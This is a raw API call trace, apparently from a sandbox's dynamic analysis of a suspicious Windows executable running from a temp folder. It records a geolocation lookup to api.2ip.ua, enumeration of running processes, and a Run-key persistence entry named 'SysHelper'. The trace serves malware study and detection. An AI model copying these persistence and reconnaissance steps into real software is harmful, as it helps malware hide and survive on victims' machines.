lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x3a\x99\x92\x62\xfc\xf2\x18", lpUsedDefaultChar=0x0) returned 256 [0102.999] GetLastError () returned 0x0 [0102.999] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ靖AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0102.999] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ靖AĀ", cchSrc=256, lpDestStr=0x18e908, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0102.999] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18efc0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x3a\x99\x92\x62\xfc\xf2\x18", lpUsedDefaultChar=0x0) returned 256 [0102.999] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0102.999] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x800) returned 0x68faf0 [0102.999] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x424fcb) returned 0x40c304 [0103.000] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x68f840) returned 0x80 [0103.000] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x68f840) returned 0x80 [0103.000] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x68f840) returned 0x80 [0103.001] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x68f840) returned 0x80 [0103.001] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x110) returned 0x6902f8 [0103.001] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x68f840) returned 0x80 [0103.001] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x10) returned 0x68dd38 [0103.001] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x68f840) returned 0x80 [0103.002] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x68f840) returned 0x80 [0103.002] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x68f840) returned 0x80 [0103.002] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x68f840) returned 0x80 [0103.018] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0103.192] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x6840c8 [0103.193] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="https://api.2ip.ua/geo.json", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0116.624] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18b5c0, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x18ddc0 | out: lpBuffer=0x18b5c0*, lpdwNumberOfBytesRead=0x18ddc0*=0x1d1) returned 1 [0116.625] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0116.627] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0116.627] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x69c9b0 [0116.627] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x1e0) returned 0x2ff5c80 [0116.627] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff5c80 | out: hHeap=0x5e0000) returned 1 [0116.627] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c9b0 | out: hHeap=0x5e0000) returned 1 [0116.627] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6840c8 | out: hHeap=0x5e0000) returned 1 [0116.627] GetCurrentProcess () returned 0xffffffff [0116.627] GetLastError () returned 0x2 [0116.627] SetPriorityClass (hProcess=0xffffffff, dwPriorityClass=0x80) returned 1 [0116.627] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x10) returned 0x6bee50 [0116.627] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x110) returned 0x2fd1a98 [0116.627] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x800) returned 0x6bf3e0 [0116.627] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6bf3e0, nSize=0x400 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370E.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370e.tmp.exe")) returned 0x5d [0116.627] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370E.tmp.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401") returned 1 [0116.628] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x810) returned 0x3003a78 [0116.628] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370E.tmp.exe\" --AutoStart" [0116.628] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370E.tmp.exe\" --AutoStart", pNumArgs=0x18dea0 | out: pNumArgs=0x18dea0) returned 0x3018f48*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370E.tmp.exe" [0116.628] lstrcpyW (in: lpString1=0x18eb50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370E.tmp.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370E.tmp.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370E.tmp.exe" [0116.628] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370E.tmp.exe\" --AutoStart" [0116.628] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370E.tmp.exe\" --AutoStart", pNumArgs=0x18de3c | out: pNumArgs=0x18de3c) returned 0x3018f48*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370E.tmp.exe" [0116.628] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370E.tmp.exe") returned="370E.tmp.exe" [0116.628] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x764a0000 [0116.629] GetProcAddress (hModule=0x764a0000, lpProcName="EnumProcesses") returned 0x0 [0116.629] GetProcAddress (hModule=0x764a0000, lpProcName="EnumProcessModules") returned 0x0 [0116.629] GetProcAddress (hModule=0x764a0000, lpProcName="GetModuleBaseNameW") returned 0x0 [0116.629] LoadLibraryW (lpLibFileName="Psapi.dll") returned 0x766b0000 [0116.631] GetProcAddress (hModule=0x766b0000, lpProcName="EnumProcesses") returned 0x766b1544 [0116.631] GetProcAddress (hModule=0x766b0000, lpProcName="EnumProcessModules") returned 0x766b1408 [0116.631] GetProcAddress (hModule=0x766b0000, lpProcName="GetModuleBaseNameW") returned 0x766b152c [0116.631] EnumProcesses (in: lpidProcess=0x183638, cb=0xa000, lpcbNeeded=0x18de48 | out: lpidProcess=0x183638, lpcbNeeded=0x18de48) returned 1 [0116.633] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0116.633] CloseHandle (hObject=0x0) returned 0 [0116.633] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0116.633] CloseHandle (hObject=0x0) returned 0 [0116.633] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0116.633] CloseHandle (hObject=0x0) returned 0 [0116.633] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x14c) returned 0x0 [0116.633] CloseHandle (hObject=0x0) returned 0 [0116.633] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x17c) returned 0x0 [0116.633] CloseHandle (hObject=0x0) returned 0 [0116.633] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x188) returned 0x0 [0116.633] CloseHandle (hObject=0x0) returned 0 [0116.633] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1b0) returned 0x0 [0116.633] CloseHandle (hObject=0x0) returned 0 [0116.633] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1c8) returned 0x0 [0116.633] CloseHandle (hObject=0x0) returned 0 [0116.633] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d0) returned 0x0 [0116.633] CloseHandle (hObject=0x0) returned 0 [0116.634] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d8) returned 0x0 [0116.634] CloseHandle (hObject=0x0) returned 0 [0116.634] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x254) returned 0x0 [0116.634] CloseHandle (hObject=0x0) returned 0 [0116.634] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x298) returned 0x0 [0116.634] CloseHandle (hObject=0x0) returned 0 [0116.634] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2cc) returned 0x0 [0116.634] CloseHandle (hObject=0x0) returned 0 [0116.634] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x33c) returned 0x0 [0116.634] CloseHandle (hObject=0x0) returned 0 [0116.634] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x374) returned 0x0 [0116.634] CloseHandle (hObject=0x0) returned 0 [0116.634] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3b0) returned 0x0 [0116.634] CloseHandle (hObject=0x0) returned 0 [0116.634] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf0) returned 0x0 [0116.634] CloseHandle (hObject=0x0) returned 0 [0116.634] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x110) returned 0x59c [0116.634] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18de54, cb=0x4, lpcbNeeded=0x18de38 | out: lphModule=0x18de54, lpcbNeeded=0x18de38) returned 0 [0116.634] CloseHandle (hObject=0x59c) returned 1 [0116.634] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x37c) returned 0x59c [0116.635] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18de54, cb=0x4, lpcbNeeded=0x18de38 | out: lphModule=0x18de54, lpcbNeeded=0x18de38) returned 0 [0116.635] CloseHandle (hObject=0x59c) returned 1 [0116.635] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x414) returned 0x59c [0116.635] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18de54, cb=0x4, lpcbNeeded=0x18de38 | out: lphModule=0x18de54, lpcbNeeded=0x18de38) returned 0 [0116.635] CloseHandle (hObject=0x59c) returned 1 [0116.635] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x44c) returned 0x0 [0116.635] CloseHandle (hObject=0x0) returned 0 [0116.635] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4b8) returned 0x0 [0116.635] CloseHandle (hObject=0x0) returned 0 [0116.635] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4d8) returned 0x59c [0116.635] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18de54, cb=0x4, lpcbNeeded=0x18de38 | out: lphModule=0x18de54, lpcbNeeded=0x18de38) returned 0 [0116.635] CloseHandle (hObject=0x59c) returned 1 [0116.635] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4ec) returned 0x0 [0116.635] CloseHandle (hObject=0x0) returned 0 [0116.635] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x56c) returned 0x59c [0116.635] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18de54, cb=0x4, lpcbNeeded=0x18de38 | out: lphModule=0x18de54, lpcbNeeded=0x18de38) returned 1 [0116.636] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0x400000, lpBaseName=0x18d638, nSize=0x400 | out: lpBaseName="370E.tmp.exe") returned 0xc [0116.637] CloseHandle (hObject=0x59c) returned 1 [0116.637] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5b0) returned 0x59c [0116.637] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18de54, cb=0x4, lpcbNeeded=0x18de38 | out: lphModule=0x18de54, lpcbNeeded=0x18de38) returned 1 [0116.638] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0x400000, lpBaseName=0x18d638, nSize=0x400 | out: lpBaseName="reader_sl.exe") returned 0xd [0116.638] CloseHandle (hObject=0x59c) returned 1 [0116.638] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x49c) returned 0x59c [0116.638] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18de54, cb=0x4, lpcbNeeded=0x18de38 | out: lphModule=0x18de54, lpcbNeeded=0x18de38) returned 0 [0116.638] CloseHandle (hObject=0x59c) returned 1 [0116.638] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x578) returned 0x59c [0116.638] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18de54, cb=0x4, lpcbNeeded=0x18de38 | out: lphModule=0x18de54, lpcbNeeded=0x18de38) returned 0 [0116.638] CloseHandle (hObject=0x59c) returned 1 [0116.638] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x218) returned 0x59c [0116.638] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18de54, cb=0x4, lpcbNeeded=0x18de38 | out: lphModule=0x18de54, lpcbNeeded=0x18de38) returned 0 [0116.638] CloseHandle (hObject=0x59c) returned 1 [0116.638] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x28) returned 0x697da8 [0116.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x2ff5c80 [0116.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x2ff5ee8 [0116.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x3004290 [0116.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x30044f8 [0116.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x3004760 [0116.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x30049c8 [0116.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x3004c30 [0116.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x3004e98 [0116.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x3005100 [0116.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25c) returned 0x3005368 [0116.639] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18de38 | out: phkResult=0x18de38*=0x59c) returned 0x0 [0116.639] RegQueryValueExW (in: hKey=0x59c, lpValueName="SysHelper", lpReserved=0x0, lpType=0x18de34, lpData=0x18c560, lpcbData=0x18de18*=0x400 | out: lpType=0x18de34*=0x2, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370E.tmp.exe\" --AutoStart", lpcbData=0x18de18*=0xd8) returned 0x0 [0116.639] RegCloseKey (hKey=0x59c) returned 0x0 [0116.639] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xe0) 